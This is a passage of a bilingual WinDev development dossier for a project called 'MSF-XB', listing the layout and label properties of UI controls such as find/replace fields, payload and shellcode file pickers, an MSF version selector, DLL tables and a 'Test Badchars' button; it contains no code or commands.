Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXT

Note pour le dossier

FR,GB: FR: Ce superchamp permet de rechercher et/ou remplacer un mot ou une expression dans le texte contenu dans un champ de saisie.

La recherche se fait à l’aide de la fonction “ Position() ” avec deux nouvelles options : SansCasse et MotComplet. Le remplacement de tous les mots dans un texte utilise la fonction “ Remplace() ” qui accepte les deux paramètres SansCasse et MotComplet.

Ce super champ est composé de 9 champs : - deux champs de saisie : un permettant de saisir le mot à rechercher, l'autre pour saisir le mot de remplacement - deux cases à cocher : ce sont les options de recherche dans le texte (avec ou sans respect de la casse, recherche d'un mot complet) - un champ de saisie qui est multilignes - un bouton " Annuler " - un bouton " Suivant " qui permet de sélectionner dans le texte le mot recherché - un bouton " Remplacer " qui remplace un mot dans le texte - un bouton " Remplacer tout" qui remplace tous les mots dans le texte.

GB: This supercontrol is used to find and/or replace a word or an expression in a text present in an edit control. Position() and Replace() are used to find and replace a word or an expression (with IgnoreCase and WholeWord).

This supercontrol is made of 9 controls: - two edit controls: one for searching and one for replacing - two check boxes for search options (IgnoreCase and WholeWord) - a multiline text control - a "Cancel" button - a "Next" button - a "Replace" button - a "Replace All" button

Ordre navigation 102

Altitude 13Largeur externe 901

Page 545: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 550

Hauteur externe 319

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXT1

Note pour le dossier

FR,GB: FR: Ce superchamp permet de rechercher et/ou remplacer un mot ou une expression dans le texte contenu dans un champ de saisie.

La recherche se fait à l’aide de la fonction “ Position() ” avec deux nouvelles options : SansCasse et MotComplet. Le remplacement de tous les mots dans un texte utilise la fonction “ Remplace() ” qui accepte les deux paramètres SansCasse et MotComplet.

Ce super champ est composé de 9 champs : - deux champs de saisie : un permettant de saisir le mot à rechercher, l'autre pour saisir le mot de remplacement - deux cases à cocher : ce sont les options de recherche dans le texte (avec ou sans respect de la casse, recherche d'un mot complet) - un champ de saisie qui est multilignes - un bouton " Annuler " - un bouton " Suivant " qui permet de sélectionner dans le texte le mot recherché - un bouton " Remplacer " qui remplace un mot dans le texte - un bouton " Remplacer tout" qui remplace tous les mots dans le texte.

GB: This supercontrol is used to find and/or replace a word or an expression in a text present in an edit control. Position() and Replace() are used to find and replace a word or an expression (with IgnoreCase and WholeWord).

This supercontrol is made of 9 controls: - two edit controls: one for searching and one for replacing - two check boxes for search options (IgnoreCase and WholeWord) - a multiline text control - a "Cancel" button - a "Next" button - a "Replace" button - a "Replace All" button

Ordre navigation 103

Altitude 15Largeur externe 901

Page 546: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 551

Hauteur externe 241

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 0 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SC_SelecteurPayload

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 84

Altitude 6Largeur externe 559Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 547: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 552

Superchamp : ONG_Onglet1.SC_SelecteurShellcode

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file. The value returned by the supercontrol is the path of the selected file.

Ordre navigation 68

Altitude 4Largeur externe 559Hauteur externe 25

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Sélecteur : ONG_Onglet1.SEL_MSF

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Version:GB: MSF version:

Valeur initiale 1Ordre navigation -1Curseur survol 0Synchro Infos Partagées Non

Page 548: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 553

Cadrage horz. GaucheCadrage vert. HautAltitude 1

Numéro aide 0

Opacité 100

Options FR,GB: MSF 2.x MSF 3.x

Valeur persistante NonOption multi-lignes OuiOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Radio_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : ONG_Onglet1.TABLE_DLL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 36Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 5Retrait gauche 2

Numéro aide 0

Opacité 100

Page 549: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 554

Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection multipleAff. résultats Sans affichageSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : ONG_Onglet1.TABLE_DLL_MEMOIRE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Groupe GR_INFO_PROCESSOrdre navigation -1Curseur survol 0Menu contextuel MENU_MemDump

Hauteur ligne max. 0

Page 550: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 555

Hauteur ligne 18Sens VerticalAltitude 6Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection multipleAff. résultats Sans affichageSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 551: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 556

Table : ONG_Onglet1.TABLE_Design

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: TableGB:

Ordre navigation 96Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18Sens VerticalAltitude 1Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection multipleAff. résultats Sous la tableSomme FR: Somme

GB: SumMoyenne FR: Moyenne

GB: AverageCompteur FR: Compteur

GB: CounterTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Page 552: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 557

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : ONG_Onglet1.SCFindReplaceTXTBouton : ONG_Onglet1.SCFindReplaceTXT.BTN_RetrouveBadchars

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &BoutonGB: Button

Ordre navigation 78Curseur survol 0On/Off Non

Altitude 10

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 553: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 558

Bouton : ONG_Onglet1.SCFindReplaceTXT.BTN_TEST_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Test BadcharsOrdre navigation 50Curseur survol 0On/Off Non

Altitude 9

Bulle d'aide FR: Tester les caractères interdits (ASCII 32-255)GB: Test the badchars (ASCII 32-255)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 554: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 559

Bouton : ONG_Onglet1.SCFindReplaceTXT.BtnNext

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: NextOrdre navigation 8Curseur survol 0On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 555: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 560

Bouton : ONG_Onglet1.SCFindReplaceTXT.BtnReplace

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ReplaceOrdre navigation 7Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 556: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 561

Bouton : ONG_Onglet1.SCFindReplaceTXT.BtnReplaceAll

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Replace AllOrdre navigation 2Curseur survol 0On/Off Non

Altitude 1

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 557: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 562

Bouton : ONG_Onglet1.SCFindReplaceTXT.BtnReplaceAll1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Enlever " ". ;GB: Remove " ". ;

Ordre navigation 106Curseur survol 0On/Off Non

Altitude 11

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 558: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 563

Interrupteur : ONG_Onglet1.SCFindReplaceTXT.ChCaseSensitive

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 4Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100

Options FR,GB: Case-SensitiveValeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 559: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 564

Interrupteur : ONG_Onglet1.SCFindReplaceTXT.ChFullWord

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 3Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 2

Numéro aide 0

Opacité 100

Options FR,GB: Full WordValeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 560: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 565

Champ de saisie : ONG_Onglet1.SCFindReplaceTXT.EDIT_FIND

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Find:Ordre navigation 5Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 291Largeur interne 623

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur

Page 561: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 566

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SCFindReplaceTXT.EDIT_REPLACE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Replace:Ordre navigation 6Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 5Retrait gauche 2Position X interne 291Largeur interne 623

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Page 562: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 567

Gestion Euro Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : ONG_Onglet1.SCFindReplaceTXT.SAI_PATTERN

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 1Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 4Retrait gauche 2Position X interne 221Largeur interne 692

Bulle d'aide FR,GB: PatternNuméro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical OuiAvec focus OuiHistorique des saisies Non

Page 563: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 568

Valeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSystemButtonsBouton : SCSystemButtons.BTN_SYST_FERMER

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 1

Bulle d'aide FR,GB: FermerNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Close_Anim.gifNb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Page 564: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 569

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCSystemButtons.BTN_SYST_MINIMIZE

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 3

Bulle d'aide FR,GB: RéduireNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Minimize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 565: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 570

Bouton : SCSystemButtons.BTN_Syst_Maximize

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 2

Bulle d'aide FR,GB: AgrandirNuméro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximise.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Maximize_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 566: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 571

Bouton : SCSystemButtons.BTN_UMC

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: &BoutonOrdre navigation 168Curseur survol 0On/Off Non

Altitude 4

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC.gifNb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_UMC_Anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 567: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 572

Superchamp : ONG_Onglet1.SCSystèmeCombo : ONG_Onglet1.SCSystème.ComboSystème

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Système d'ExploitationGB: Operating System

Contenu initial FR: Windows 3.1 Windows 95 Windows 98 Windows ME Windows NT4 Windows 2000 Windows XP Pro Windows XP familial Windows 2003 Serveur Windows Vista Windows 2008 Serveur

GB: Windows 3.1 Windows 95 Windows 98 Windows ME Windows NT4 Windows 2000 Windows XP Pro Windows XP Home Edition Windows 2003 Server Windows Vista Windows 2008 Server

Ordre navigation 22Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 200Largeur liste 141Larg. déroulée perso. Non

Page 568: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 573

Hauteur ligne 15Altitude 1Retrait gauche 2Position X interne 203Largeur interne 141

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable NonMémorise la taille NonHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 569: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 574

Superchamp : ONG_Onglet1.SC_RechercherRemplacerTXTBouton : ONG_Onglet1.SC_RechercherRemplacerTXT.BTN_Remplacer

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: RemplacerGB: Replace

Ordre navigation 6Curseur survol 0On/Off Non

Altitude 7

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 570: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 575

Bouton : ONG_Onglet1.SC_RechercherRemplacerTXT.BTN_RemplacerTout

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Remplacer toutGB: Replace All

Ordre navigation 2Curseur survol 0On/Off Non

Altitude 1

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 571: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 576

Bouton : ONG_Onglet1.SC_RechercherRemplacerTXT.BTN_Suivant

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: SuivantGB: Next

Ordre navigation 8Curseur survol 0On/Off Non

Altitude 8

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 572: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 577

Interrupteur : ONG_Onglet1.SC_RechercherRemplacerTXT.INT_CASSE

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 4Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100

Options FR: Respecter la casseGB: Case-Sensitive

Valeur persistante NonOption multi-lignes NonOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 573: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 578

Interrupteur : ONG_Onglet1.SC_RechercherRemplacerTXT.INT_MOTCOMPLET

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale 0Ordre navigation 3Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 2

Numéro aide 0

Opacité 100

Options FR: Mot complet uniquementGB: Full Word

Valeur persistante NonOption multi-lignes NonOption format RTF Non

